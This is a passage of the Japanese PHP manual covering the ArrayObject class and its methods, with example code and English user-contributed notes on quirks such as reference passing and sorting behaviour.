// $array is now a simple array with the single value "Hello World!".
?>
deminy at deminy dot net 02-Jan-2009 01:31
Generally variable $this can't be used as an array within an object context. For example, following code piece would cause a fatal error:

<?php
class TestThis {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestThis();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>

But things are different when $this is used in an ArrayObject object. e.g., following code piece are valid:

<?php
class TestArrayObject extends ArrayObject {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestArrayObject();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>
Venelin Vulkov 05-Nov-2008 01:09
Simple example of usage :

<?php

$array = array('Buck','Jerry','Tomas');

$arrayObject = new ArrayObject($array);
// Add new element
$arrayObject->append('Tweety');

// We are getting the iterator of the object
$iterator = $arrayObject->getIterator();

// Simple while loop
while ($iterator->valid()) {
    echo $iterator->current() . "\n";
    $iterator->next();
}

/* Outputs */
Buck
Jerry
Tomas
Tweety

?>

Note that not all the public methods of this class are documented here .
( Which includes a lot sorting methods ) .

Regards
tony dot fraser at gmail dot com 09-Oct-2008 08:30
The code above will pretty much work as it is, though I have since added in some features.

Further notes:
1. Be very aware of this bug until 5.3 becomes stable.
http://bugs.php.net/bug.php?id=41528

Basically, we wrote this collection to be a java-like object cache stored in session (instead of  hitting the soap server or a DB all the time) to load objects in $_SESSION['cache']  But, this particular bug will prevent the object from working in the second page. The variable is there, but there's nothing in it.

The easy work around is to upgrade PHP to 5.3, and it works like a charm, but at the moment 5.3 happens to be in alpha mode.

2. You cannot have a PDO object in as a member variable of a class stored in the ArrayObject if you want it to pass through sessions. You can store it if it's not going into a session, but if you want to cache like we're tying to do, make SURE you $_dbHandle="" wherever you need to.

3. My earlier post was just proof of concept. We have it working now so  UserCollection extends GenericCollectionAbstract.  and GenericCollectionAbstract implements the GenericCollectionInterface. GenericCollectionObject is the object stored in the GenericCollection's $arrayObject data, and is basically just a two property object that holds the ID of the object, and the object itself.

When all is said and done this works like a charm.

page 1 ->
$_SESSION['u'] = new UserCollection();
$_SESSION['u']->getObject(1, $dbWW);
page-2->
echo $_SESSION['u']->getObject(2, $dbWW)->getProperty('email');

And of course, getProperty() is from my user class.

my UserCollecton->getObject overwrite method is as follows:

<?php
public function getObject($_id, $_dbHandle){
        //error_log('trying to get object');
        if (parent::objectExists($_id)){
            return parent::getObject($_id, $_dbHandle);
            error_log('returning object');
        }
        else{
            //error_log('collecting new user');
            $_tempUser = new User();
            if ($_tempUser->populateByID($_id, $_dbHandle)){
                parent::addObject($_id, $_tempUser);
                if (parent::objectExists($_id)) {
                    $_return = parent::getObject($_id);
                }
                else $_return = "";
            }
            else {
                $_return = "";
            }
            $this->dbHandle=""; //This has to be done, otherwise it's stored in the object as a private var
                                //and it will break the object if it resides in a session.
            return $_return;
        }
?>

Shoot me an email if you have any questions.
enjoy.!
tony at tonyandcarol dot com 07-Oct-2008 07:49
My need was to create a java-like collection where I could store objects by their DB primary keys while having the standard stack capabilities of adding, retrieving, and removing objects from collection. ArrayObject didn't quite do what I need it to do so I extended it a little.

<?php
class GenericCollection extends ArrayObject{
    private $data;
    function __construct(){
        $this->data = new ArrayObject();
    }

    function addObject($_id, $_object){
        $_thisItem = new CollectionObject($_id, $_object);
        $this->data->offSetSet($_id, $_thisItem);
    }
    function deleteObject($_id){
        $this->data->offsetUnset($_id);
    }
    function getObject($_id){
        $_thisObject = $this->data->offSetGet($_id);
        return $_thisObject->getObject();
    }
    function printCollection() {
        print_r($this->data);
    }
}

class CollectionObject {
    private $id;
    private $object;

    function __construct($_id, $_object){
        $this->id = $_id;
        $this->object = $_object;
    }
    function getObject(){
        return $this->object;
    }
    function printObject() {
        print_r($this);
    }
}
?>

Call it like so:

<?php
$u1 = new User/Data/Object (); //whatever, just an object.

$myCollection = new GenericCollection();
$myCollection->addObject(1, $u1);
print_r($myCollection->getObject(1));
?>

Now you have a simple and functional collection framework. Add methods in for specific types of sorting, we just didn't need anything other than primary key access. And you can add introspection into the collection object if you need to track what kind of an object it is.

tony@tonyandcarol.com
dave at csixty4 dot com 05-Sep-2008 08:28
If you want to use array functions on an ArrayObject, why not use iterator_to_array() to get a standard PHP array?  Do your operations on that array, then instantiate a new ArrayObject, passing it the array.

This might be a little slow on large ArrayObjects, but you'd have access to all of the array functions.
Anonymous 09-Aug-2008 06:17
Too bad the Array functions [1] are not available on this object... otherwise I would be using it all the time.

[1] http://nl.php.net/manual/en/ref.array.php


値を追加する

  • ≪ ArrayObject
  • ArrayObject::asort ≫
  • PHP Manual
  • ArrayObject
  • 値を追加する

ArrayObject::append

(PHP 5, PHP 7)

ArrayObject::append — 値を追加する

説明

public ArrayObject::append ( mixed $value ) : void

新しい値を最後の要素として追加します。

注意:

このメソッドは、ArrayObject をオブジェクトから作成した場合にはコールできません。 かわりに ArrayObject::offsetSet() を使用します。

パラメータ

value

追加する値。

返り値

値を返しません。

例

例1 ArrayObject::append() の例

<?php
$arrayobj = new ArrayObject(array('first','second','third'));
$arrayobj->append('fourth');
$arrayobj->append(array('five', 'six'));
var_dump($arrayobj);
?>

上の例の出力は以下となります。

object(ArrayObject)#1 (5) {
  [0]=>
  string(5) "first"
  [1]=>
  string(6) "second"
  [2]=>
  string(5) "third"
  [3]=>
  string(6) "fourth"
  [4]=>
  array(2) {
    [0]=>
    string(4) "five"
    [1]=>
    string(3) "six"
  }
}

参考

  • ArrayObject::offsetSet() - 指定したインデックスに新しい値をセットする

User Contributed Notes

There are no user contributed notes for this page.


値でエントリをソートする

  • ≪ ArrayObject::append
  • ArrayObject::__construct ≫
  • PHP Manual
  • ArrayObject
  • 値でエントリをソートする

ArrayObject::asort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::asort — 値でエントリをソートする

説明

public ArrayObject::asort ( int $flags = SORT_REGULAR ) : void

エントリをソートします。キーとそれに対応する値の関連は保持されたままとなります。 これは主に、連想配列など実際の要素の並びが重要となる場合のソートで使います。

パラメータ

flags

オプションの第二引数 flags によりソートの動作を修正可能です。 使える値は下記の通りです:

ソートタイプのフラグ:

  • SORT_REGULAR - 通常通りに項目を比較します。 詳細は 比較演算子 で説明されています。
  • SORT_NUMERIC - 数値として項目を比較します。
  • SORT_STRING - 文字列として項目を比較します。
  • SORT_LOCALE_STRING - 現在のロケールに基づいて、文字列として項目を比較します。 比較に使うロケールは、setlocale() 関数で変更できます。
  • SORT_NATURAL - 要素の比較を文字列として行い、 natsort() と同様の「自然順」で比較します。
  • SORT_FLAG_CASE - SORT_STRING や SORT_NATURAL と (ビットORで) 組み合わせて使い、 文字列のソートで大文字小文字を区別しないようにします。

返り値

値を返しません。

例

例1 ArrayObject::asort() の例

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->asort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
?>

上の例の出力は以下となります。

c = apple
b = banana
d = lemon
a = orange

フルーツがアルファベット順で並べ替えられ、 各エントリに対応するキーもそれにあわせて並べ替えられます。

参考

  • ArrayObject::ksort() - キーでエントリをソートする
  • ArrayObject::natsort() - "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::natcasesort() - 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uasort() - ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する
  • ArrayObject::uksort() - ユーザー定義の比較関数を使って、キーでエントリをソートする

User Contributed Notes

There are no user contributed notes for this page.


新規配列オブジェクトを生成する

  • ≪ ArrayObject::asort
  • ArrayObject::count ≫
  • PHP Manual
  • ArrayObject
  • 新規配列オブジェクトを生成する

ArrayObject::__construct

(PHP 5, PHP 7)

ArrayObject::__construct — 新規配列オブジェクトを生成する

説明

public ArrayObject::__construct ( mixed $input = array() , int $flags = 0 , string $iterator_class = "ArrayIterator" )

新規配列オブジェクトを生成します。

パラメータ

input

input には、 配列あるいはオブジェクトを指定することができます。

flags

ArrayObject オブジェクトの振る舞いを制御するフラグ。 ArrayObject::setFlags() を参照ください。

iterator_class

ArrayObject オブジェクトの反復処理に使用するクラスを指定します。

返り値

成功した場合に ArrayObject オブジェクトを返します。

エラー / 例外

次の場合に InvalidArgumentException をスローします。

  • input が配列でもオブジェクトでもない場合
  • flags が整数でない場合
  • iterator_class が Iterator を実装したオブジェクトでない場合

例

例1 ArrayObject::__construct() の例

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

上の例の出力は以下となります。

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

参考

  • ArrayObject::setflags() - 処理フラグを設定する

User Contributed Notes

ashley at nospam dot zincdigital dot com 03-Jul-2009 03:18
The great confusion with this class is in its naming.  ArrayObject infers it will behave as an Array and as an Object.  It won't.  It behaves as an array.  It would better be called ArrayType.  You can, with some work, get it to work both as an object and as an array, but that is up to you.
german dot rumm at gmail dot com 14-Mar-2008 10:37
BTW, if you need to change array later, use exchangeArray() method. Good to know when you are writing a class that extends ArrayObject()

AFAIK, exchangeArray() doesn't return anything.

<?php
    $a = array('one', 'two', 'three');
    $ao = new ArrayObject($a);

    foreach ($ao as $element) {
        echo $element . ' '; // one two three
    }

    $b = array('four', 'five', 'six');
    $ao->exchangeArray($b); // returns null

    foreach ($ao as $element) {
        echo $element . ' '; // four five six
    }
?>
agalkin at agalkin dot ru 21-Aug-2007 01:56
Note that the first argument to ArrayObject::__construct, the initial array, is passed by reference. Nevertheless, modification of the array doesn't modify the object, so it may cause unexpected behaviour.

<?php
$array = array('foo' => 'initial');
$obj = new ArrayObject($array);

// array was passed by reference:
$obj['foo'] = 'modified';
var_dump($array); // foo => modified

// but it doesn't work backwards:
$array['foo'] = 'modified_again';
var_dump($obj); // foo => modified
var_dump($array); // foo => modified_again
?>
Grigori Kochanov 15-Jul-2006 03:51
As Marcus explained, the flag ArrayObject::SPL_ARRAY_AS_PROPS means the array element may be used as a property if there is no conflict with visible properties.

If there are visible properties in the class, the array element will not overwrite it's value.

<?php
class Rules extends ArrayObject {
    public $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 1

<?php
class Rules extends ArrayObject {
    private $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 2


ArrayObject の public プロパティの数を取得する

  • ≪ ArrayObject::__construct
  • ArrayObject::exchangeArray ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject の public プロパティの数を取得する

ArrayObject::count

(PHP 5, PHP 7)

ArrayObject::count — ArrayObject の public プロパティの数を取得する

説明

public ArrayObject::count ( ) : int

ArrayObject の public プロパティの数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ArrayObject の public プロパティの数を返します。

注意:

ArrayObject を配列から作成した場合は、すべてのプロパティが public となります。

例

例1 ArrayObject::count() の例

<?php
class Example {
    public $public = 'prop:public';
    private $prv   = 'prop:private';
    protected $prt = 'prop:protected';
}

$arrayobj = new ArrayObject(new Example());
var_dump($arrayobj->count());

$arrayobj = new ArrayObject(array('first','second','third'));
var_dump($arrayobj->count());
?>

上の例の出力は以下となります。

int(1)
int(3)

User Contributed Notes

There are no user contributed notes for this page.


配列を別の配列と交換する

  • ≪ ArrayObject::count
  • ArrayObject::getArrayCopy ≫
  • PHP Manual
  • ArrayObject
  • 配列を別の配列と交換する

ArrayObject::exchangeArray

(PHP 5 >= 5.1.0, PHP 7)

ArrayObject::exchangeArray — 配列を別の配列と交換する

説明

public ArrayObject::exchangeArray ( mixed $input ) : array

現在の配列を、別の配列あるいはオブジェクトと交換します。

パラメータ

input

現在の配列と交換する配列あるいはオブジェクト。

返り値

元の配列を返します。

例

例1 ArrayObject::exchangeArray() の例

<?php
// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);
// ヨーロッパの都市の配列
$locations = array('Amsterdam', 'Paris', 'London');

$fruitsArrayObject = new ArrayObject($fruits);

// フルーツを都市と交換します
$old = $fruitsArrayObject->exchangeArray($locations);
print_r($old);
print_r($fruitsArrayObject);

?>

上の例の出力は以下となります。

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)
ArrayObject Object
(
    [0] => Amsterdam
    [1] => Paris
    [2] => London
)

User Contributed Notes

ievgen dot varava at spryker dot com 02-Mar-2021 11:02
Looks like PHP8 brings undocumented change to this method signature. Example:

<?php
interface intA {
    public function exchangeArray($param);
}

class classB extends ArrayObject implements intA {}
 ?>

PHP 7.4.13: no errors

PHP 8.0.0: Fatal error:  Declaration of ArrayObject::exchangeArray(object|array $array) must be compatible with intA::exchangeArray($param)
Corentin Larose 09-May-2014 02:59
It's worth notting that ArrayObject::exchangeArray() doesn't call ArrayObject::offsetSet() internally for each offset/property of the array/object provided in argument.

It's also worth noting the let's say "unexpected" behavior of get/set:

<?php
class MyArrayObject extends ArrayObject
{
    public function offsetSet($name, $value)
    {
        parent::offsetSet($name . '_control', $value);
        parent::offsetSet($name, $value);
    }
}

$test = new MyArrayObject();
$test->setFlags(\ArrayObject::ARRAY_AS_PROPS);
$test['my_value_1'] = 1;
$test['my_value_1'] = $test['my_value_1'] + 1;
$test['my_value_1'] += 1;
$test['my_value_1'] ++;
++ $test['my_value_1'];

$test->my_value_2 = 1;
$test->my_value_2 = $test->my_value_2 + 1;
$test->my_value_2 += 1;
$test->my_value_2 ++;
++ $test->my_value_2;

print_r($test);

// Prints out:
MyArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [my_value_1_control] => 3
            [my_value_1] => 5
            [my_value_2_control] => 2
            [my_value_2] => 5
        )
)
?>
Dmitri Snytkine 15-Dec-2009 02:11
It seems that input array is always passed by reference.
For example if you have an existing array
$array with some values
then you have an arrayobject $o
and then you do this:
$o->exchangeArray($array);
$o->offsetSet('somekey', 'some value');

Now if you check your $array array, it will have
a key 'somekey' with value of 'some value'

I totally did not expect that, I am sure it was a mistake to pass array by reference by default.


ArrayObject のコピーを作成する

  • ≪ ArrayObject::exchangeArray
  • ArrayObject::getFlags ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject のコピーを作成する

ArrayObject::getArrayCopy

(PHP 5, PHP 7)

ArrayObject::getArrayCopy — ArrayObject のコピーを作成する

説明

public ArrayObject::getArrayCopy ( ) : array

ArrayObject を配列にエクスポートします。

パラメータ

この関数にはパラメータはありません。

返り値

配列のコピーを返します。ArrayObject がオブジェクトを参照している場合は、 オブジェクトのプロパティの配列を返します。

例

例1 ArrayObject::getArrayCopy() の例

<?php
// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);
$fruitsArrayObject['pears'] = 4;

// 配列のコピーを作成します
$copy = $fruitsArrayObject->getArrayCopy();
print_r($copy);

?>

上の例の出力は以下となります。

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
    [pears] => 4
)

User Contributed Notes

sorcerer 03-Jan-2017 06:34
When I used print_r ($fruitsArrayObject) instead of print_r ($copy), i.e. ignoring the getArrayCopy() step, I still got the same output. Why?
spidgorny at gmail dot com 14-Dec-2016 03:37
<?php
$data = $likeArray->getArrayCopy();
?>
will NOT be magically called if you cast to array. Although I've expected it.
<?php
$nothing = (array)$likeArray;
?>
Here, $data != $nothing.
jlshor at buffalo dot edu 07-Dec-2016 08:53
Is there a difference between casting to an array and using this function?

For instance, if we have:
$arrayObject = new ArrayObject([1, 2, 3]);

Is there a difference between these:
$array = (array) $arrayObject;
vs
$array = $arrayObject->getArrayCopy();

If not, is there any scenario where they would produce different results, or do they produce the result in different ways?
php at webflips dot net 24-May-2014 07:42
"When the ArrayObject refers to an object an array of the public properties of that object will be returned."

This description does not seem to be right:

<?php
class A
{
    public $var = 'var';
    protected $foo = 'foo';
    private $bar = 'bar';
}

$o = new ArrayObject(new A());
var_dump($o->getArrayCopy());

/*
Dumps:

array(3) {
  ["var"]=>
  string(3) "var"
  ["*foo"]=>
  string(3) "foo"
  ["Abar"]=>
  string(3) "bar"
}
*/
?>

So it does not only include the public properties.
Ivo von Putzer 05-Dec-2011 05:06
If you did something like this to make your constructor multidimensional capable you will have some trouble using getArrayCopy to get a plain array straight out of the method:
<?php
public function __construct( $array = array(), $flags = 2 )
{
    // let's give the objects the right and not the inherited name
    $class = get_class($this);

    foreach($array as $offset => $value)
        $this->offsetSet($offset, is_array($value) ? new $class($value) : $value);

    $this->setFlags($flags);
}
?>

That's the way I solved it:

<?php
public function getArray($recursion = false)
{
    // just in case the object might be multidimensional
    if ( $this === true)
        return $this->getArrayCopy();

    return array_map( function($item){
        return is_object($item) ? $item->getArray(true) : $item;
    }, $this->getArrayCopy() );
}
?>

Hope this was useful!


振る舞いのフラグを取得する

  • ≪ ArrayObject::getArrayCopy
  • ArrayObject::getIterator ≫
  • PHP Manual
  • ArrayObject
  • 振る舞いのフラグを取得する

ArrayObject::getFlags

(PHP 5 >= 5.1.0, PHP 7)

ArrayObject::getFlags — 振る舞いのフラグを取得する

説明

public ArrayObject::getFlags ( ) : int

ArrayObject の振る舞いのフラグを取得します。 利用可能なフラグの一覧は、 ArrayObject::setFlags メソッドを参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

ArrayObject の振る舞いのフラグを返します。

例

例1 ArrayObject::getFlags() の例

<?php
// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// 現在のフラグを取得します
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);

// 新しいフラグを設定します
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);

// 新しいフラグを取得します
$flags = $fruitsArrayObject->getFlags();
var_dump($flags);
?>

上の例の出力は以下となります。

int(0)
int(2)

参考

  • ArrayObject::setFlags() - 処理フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


ArrayObject インスタンスから新規イテレータを生成する

  • ≪ ArrayObject::getFlags
  • ArrayObject::getIteratorClass ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject インスタンスから新規イテレータを生成する

ArrayObject::getIterator

(PHP 5, PHP 7)

ArrayObject::getIterator — ArrayObject インスタンスから新規イテレータを生成する

説明

public ArrayObject::getIterator ( ) : ArrayIterator

新しいイテレータを ArrayObject インスタンスから作成します。

パラメータ

この関数にはパラメータはありません。

返り値

ArrayObject からイテレータを返します。

例

例1 ArrayObject::getIterator() の例

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
    echo $iterator->key() . ' => ' . $iterator->current() . "\n";

    $iterator->next();
}
?>

上の例の出力は以下となります。

1 => one
2 => two
3 => three

User Contributed Notes

doug at centraldesktop 07-Nov-2013 10:10
ArrayObject iterator class requires a child of ArrayObject or ArrayIterator

<?php

class MyIterator implements Iterator {

    public
    function __construct(ArrayObject $array, $flags = 0) {
        // ...
    }

    public
    function current() {
        // ..
    }

    public
    function next() {
        // ..
    }

    public
    function key() {
        // ..
    }

    public
    function valid() {
        // ..
    }

    public
    function rewind() {
        // ..
    }
}

$obj = new ArrayObject(array(), 0, 'MyIterator');
$obj->getIterator();

?>

PHP Fatal error: ArrayObject::getIterator(): Internal compiler error, Class is not child of ArrayObject or ArrayIterator in php shell code on line 1


ArrayObject のイテレータクラス名を取得する

  • ≪ ArrayObject::getIterator
  • ArrayObject::ksort ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject のイテレータクラス名を取得する

ArrayObject::getIteratorClass

(PHP 5 >= 5.1.0, PHP 7)

ArrayObject::getIteratorClass — ArrayObject のイテレータクラス名を取得する

説明

public ArrayObject::getIteratorClass ( ) : string

配列イテレータのクラス名を取得します。これは ArrayObject::getIterator() で使います。

パラメータ

この関数にはパラメータはありません。

返り値

このオブジェクトの反復処理に使うイテレータのクラス名を返します。

例

例1 ArrayObject::getIteratorClass() の例

<?php
// 独自のイテレータ (ArrayIterator を継承したもの)
class MyArrayIterator extends ArrayIterator {
    // 独自の実装
}

// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// 現在のクラス名を取得します
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);

// 新しいクラス名を設定します
$fruitsArrayObject->setIteratorClass('MyArrayIterator');

// 新しいイテレータクラス名を取得します
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);
?>

上の例の出力は以下となります。

string(13) "ArrayIterator"
string(15) "MyArrayIterator"

参考

  • ArrayObject::setIteratorClass メソッド

User Contributed Notes

There are no user contributed notes for this page.


キーでエントリをソートする

  • ≪ ArrayObject::getIteratorClass
  • ArrayObject::natcasesort ≫
  • PHP Manual
  • ArrayObject
  • キーでエントリをソートする

ArrayObject::ksort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::ksort — キーでエントリをソートする

説明

public ArrayObject::ksort ( int $flags = SORT_REGULAR ) : void

キーでエントリをソートし、キーと値の関係は保持します。 主に連想配列で有用です。

パラメータ

flags

オプションの第二引数 flags によりソートの動作を修正可能です。 使える値は下記の通りです:

ソートタイプのフラグ:

  • SORT_REGULAR - 通常通りに項目を比較します。 詳細は 比較演算子 で説明されています。
  • SORT_NUMERIC - 数値として項目を比較します。
  • SORT_STRING - 文字列として項目を比較します。
  • SORT_LOCALE_STRING - 現在のロケールに基づいて、文字列として項目を比較します。 比較に使うロケールは、setlocale() 関数で変更できます。
  • SORT_NATURAL - 要素の比較を文字列として行い、 natsort() と同様の「自然順」で比較します。
  • SORT_FLAG_CASE - SORT_STRING や SORT_NATURAL と (ビットORで) 組み合わせて使い、 文字列のソートで大文字小文字を区別しないようにします。

返り値

値を返しません。

例

例1 ArrayObject::ksort() の例

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
 ?>

上の例の出力は以下となります。

a = orange
b = banana
c = apple
d = lemon

参考

  • ArrayObject::asort() - 値でエントリをソートする
  • ArrayObject::natsort() - "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::natcasesort() - 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uasort() - ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する
  • ArrayObject::uksort() - ユーザー定義の比較関数を使って、キーでエントリをソートする

User Contributed Notes

There are no user contributed notes for this page.


大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする

  • ≪ ArrayObject::ksort
  • ArrayObject::natsort ≫
  • PHP Manual
  • ArrayObject
  • 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする

ArrayObject::natcasesort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::natcasesort — 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする

説明

public ArrayObject::natcasesort ( ) : void

このメソッドは、大文字小文字を区別しない ArrayObject::natsort です。

このメソッドは、英数字からなる文字列を人間が並び替えるのと同じようなアルゴリズムでソートし、 キーと値の対応は保持します。このようなソートのことを "自然順" と呼びます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 ArrayObject::natcasesort() の例

<?php
$array = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natcasesort();
echo "\nNatural order sorting (case-insensitive)\n";
print_r($arr2);
?>

上の例の出力は以下となります。

Standard sorting
ArrayObject Object
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [2] => img10.png
    [1] => img12.png
    [3] => img2.png
)

Natural order sorting (case-insensitive)
ArrayObject Object
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

より詳細な情報は、Martin Pool の » Natural Order String Comparison を参照ください。

参考

  • ArrayObject::asort() - 値でエントリをソートする
  • ArrayObject::ksort() - キーでエントリをソートする
  • ArrayObject::natsort() - "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uasort() - ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する
  • ArrayObject::uksort() - ユーザー定義の比較関数を使って、キーでエントリをソートする

User Contributed Notes

There are no user contributed notes for this page.


"自然順" アルゴリズムでエントリをソートする

  • ≪ ArrayObject::natcasesort
  • ArrayObject::offsetExists ≫
  • PHP Manual
  • ArrayObject
  • "自然順" アルゴリズムでエントリをソートする

ArrayObject::natsort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::natsort — "自然順" アルゴリズムでエントリをソートする

説明

public ArrayObject::natsort ( ) : void

このメソッドは、英数字からなる文字列を人間が並び替えるのと同じようなアルゴリズムでソートし、 キーと値の対応は保持します。このようなソートのことを "自然順" と呼びます。 このアルゴリズムと、コンピュータの通常の文字列ソートアルゴリズム (ArrayObject::asort で使われているもの) の違いは、以下のサンプルを参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 ArrayObject::natsort() の例

<?php
$array = array("img12.png", "img10.png", "img2.png", "img1.png");

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natsort();
echo "\nNatural order sorting\n";
print_r($arr2);
?>

上の例の出力は以下となります。

Standard sorting
ArrayObject Object
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
ArrayObject Object
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

より詳細な情報は、Martin Pool の » Natural Order String Comparison を参照ください。

参考

  • ArrayObject::asort() - 値でエントリをソートする
  • ArrayObject::ksort() - キーでエントリをソートする
  • ArrayObject::natcasesort() - 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uasort() - ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する
  • ArrayObject::uksort() - ユーザー定義の比較関数を使って、キーでエントリをソートする

User Contributed Notes

There are no user contributed notes for this page.


要求されたインデックスが存在するかどうかを返す

  • ≪ ArrayObject::natsort
  • ArrayObject::offsetGet ≫
  • PHP Manual
  • ArrayObject
  • 要求されたインデックスが存在するかどうかを返す

ArrayObject::offsetExists

(PHP 5, PHP 7)

ArrayObject::offsetExists — 要求されたインデックスが存在するかどうかを返す

説明

public ArrayObject::offsetExists ( mixed $index ) : bool

パラメータ

index

調べたいインデックス。

返り値

指定したインデックスが存在する場合に true、それ以外の場合に false を返します。

例

例1 ArrayObject::offsetExists() の例

<?php
$arrayobj = new ArrayObject(array('zero', 'one', 'example'=>'e.g.'));
var_dump($arrayobj->offsetExists(1));
var_dump($arrayobj->offsetExists('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

User Contributed Notes

goran at extensionsforjoomla dot com 09-Jul-2007 03:52
In versions prior to PHP 5.2.2 offsetExists() would return false if index value is null.
<?php
// running PHP 5.2.1
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(false)
// running PHP 5.2.2
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(true)
?>
Both tests where made on Windows platform.


指定したインデックスの値を返す

  • ≪ ArrayObject::offsetExists
  • ArrayObject::offsetSet ≫
  • PHP Manual
  • ArrayObject
  • 指定したインデックスの値を返す

ArrayObject::offsetGet

(PHP 5, PHP 7)

ArrayObject::offsetGet — 指定したインデックスの値を返す

説明

public ArrayObject::offsetGet ( mixed $index ) : mixed

パラメータ

index

値のインデックス。

返り値

指定したインデックスの値、あるいは null を返します。

エラー / 例外

指定したインデックスが存在しない場合に E_NOTICE が発生します。

例

例1 ArrayObject::offsetGet() の例

<?php
$arrayobj = new ArrayObject(array('zero', 7, 'example'=>'e.g.'));
var_dump($arrayobj->offsetGet(1));
var_dump($arrayobj->offsetGet('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

上の例の出力は以下となります。

int(7)
string(4) "e.g."
bool(false)

User Contributed Notes

Jason 11-Apr-2016 02:43
It's worth noting that the PHP devs *did* fix the issue brought up in Sam's comment in 2013 (per the comment thread in his link here: https://bugs.php.net/bug.php?id=34783#1366088374), since at least PHP 5.3.8.

So, you *can* (and in most cases should) overload offsetGet with reference syntax to get expected functionality:

<?php
class myArrayType extends ArrayAccess {

    public function &offsetGet($index) {
        // ...
    }

}
?>
Alex Andrienko 20-Jan-2009 03:58
Speaking of offsetGet() method overloading, be advised, that if you're iterating through Object via foreach, this method wouldn't be called. Iterator's current() method will be called instead.
Sam 30-Nov-2007 03:01
If you're overloading ArrayObject, it's worth noting that while this method (when implemented by the parent) will return a reference, so code like $fakeArray['foobar']['hello'] = 1; will work like you expect.

